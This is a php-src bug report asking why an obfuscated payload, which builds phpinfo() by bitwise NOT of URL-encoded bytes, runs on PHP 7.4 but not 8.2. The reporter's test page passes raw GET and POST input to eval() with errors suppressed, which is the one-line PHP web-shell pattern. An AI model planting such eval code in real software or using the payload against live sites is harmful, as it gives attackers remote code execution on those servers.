[php-src] Issue #12601: PHP 8.2 cannot dynamically execute functions by passing parameters
| From: | hfmingming | Date: | Fri, 03 Nov 2023 08:05:20 +0000 |
| Subject: | [php-src] Issue #12601: PHP 8.2 cannot dynamically execute functions by passing parameters | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-245729@lists.php.net to get a copy of this message | ||
Issue: https://github.com/php/php-src/issues/12601
Author: hfmingming
### Description
this is my web test code:
```php
<?php
echo "this is index.php\n";
echo $_GET[0];
@eval($_GET[0]);
@eval($_POST[1]);
?>
```
When I pass it on my local computer (Windows PHP 7.4)
?0=(~%8F%97%8F%96%91%99%90)();
, phpinfo(); can be executed correctly; Command, but when I pass the same parameters on the virtual
machine (kali php8.2.10), I cannot get the expected result.
this is result on my local computer⬇

this is result on the virtual machine⬇

### PHP Version
php 8.2.10
### Operating System
kali,windows11